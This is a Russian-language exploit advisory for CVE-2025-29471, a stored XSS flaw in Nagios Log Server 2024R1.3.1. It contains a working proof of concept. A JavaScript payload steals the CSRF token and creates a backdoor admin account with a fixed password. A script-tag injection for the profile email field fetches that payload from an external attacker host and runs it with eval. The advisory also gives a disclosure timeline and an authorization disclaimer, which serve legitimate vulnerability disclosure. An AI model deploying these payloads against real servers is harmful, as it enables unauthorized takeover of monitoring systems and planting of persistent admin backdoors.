Уязвимость Stored XSS в Nagios Log Server (повышение привилегий до администратора)

▶️ Демонстрация PoC

Дата: 2025-04-02

Автор эксплойта: Seth Kraft

Домашняя страница производителя: https://www.nagios.com/

Список изменений производителя: https://www.nagios.com/changelog/#log-server

Ссылка на программное обеспечение: https://assets.nagios.com/downloads/nagios-log-server/versions.php

Затронутые версии: `2024R1.3.1` и ниже

Проверено на: `Nagios Log Server 2024R1.3.1` (конфигурация по умолчанию, Ubuntu 20.04)

CWE-ID: `CWE-79`

Базовая оценка: 8.3 (высокая)

Векторная строка: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H`

Тип: Stored Cross-Site Scripting (XSS), повышение привилегий

Авторизация

Только для авторизованного тестирования и исследований. Не тестируйте и не эксплуатируйте эту уязвимость на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Описание:

Уязвимость Stored XSS в Nagios Log Server 2024R1.3.1 позволяет пользователю с низкими привилегиями внедрить вредоносный JavaScript в поле 'email' своего профиля.

Когда администратор просматривает журналы аудита, полезная нагрузка выполняется, что приводит к повышению привилегий путём несанкционированного создания учётной записи администратора.

Доказательство концепции

Разместите полезную нагрузку xss.js на своём внешнем сервере со следующим содержимым. Github вполне подойдёт.

Замените <target-ip> на IP/имя хоста целевого Nagios Log Server.

(function() {
  console.log("🔥[XSS] Payload Executing...🔥");

  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
  console.log("[XSS] CSRF Token:", csrfToken);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(function(data) {
    console.log("🔥[XSS] User Created Successfully!🔥");
    console.log(data);
  })
  .catch(console.error);
})();

Войдите в Nagios Log Server как обычный (не административный) пользователь.
Перейдите к эндпоинту обновления профиля:

http://<target-ip>/nagioslogserver/profile/update
Внедрите следующую полезную нагрузку в поле электронной почты. Обновите строку fetch, указав URL, по которому хранится xss.js.

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>

Дождитесь, пока администратор просмотрит журналы аудита. JavaScript выполнится, создав новую учётную запись администратора:

Username: backdoor

Password: Password123!

Войдите как backdoor с полным административным доступом в Nagios Log Server.

Хронология раскрытия

2025-02-07: Исследователь сообщил об уязвимости в Nagios
2025-02-14: Nagios подтвердил получение отчёта о безопасности
2025-03-03: Исследователь запросил обновление у Nagios
2025-03-10: Исследователь запросил обновление у Nagios
2025-03-17: Nagios подтверждает, что уязвимость устранена, и исправление планируется к скорому выпуску
2025-03-19: Nagios выпускает Nagios Log Server 2024R2
2025-03-27: Исследователь протестировал и подтвердил, что Nagios Log Server 2024R2 устраняет уязвимость хранимого XSS, и уведомил Nagios
2025-04-01: MITRE резервирует CVE-2025-29471 для этой уязвимости хранимого XSS, но детали остались неопубликованными из-за отсутствия публичного уведомления о безопасности от производителя
2025-04-03: Исследователь публикует PoC на ExploitDB, чтобы выполнить требования к доказательствам для присвоения идентификатора CVE от MITRE.
2025-04-09: Nagios выпускает продолжение исправления 2024R2 (2024R1.3.2), переносящее исправление уязвимости хранимого XSS в ветку 2024R1
2025-04-15: CVE-2025-29471 был официально опубликован

Отказ от ответственности

Эта работа была выполнена вне рамок моей занятости и отражает мои личные усилия в области исследований кибербезопасности.

CVE-2025-29471

Популярное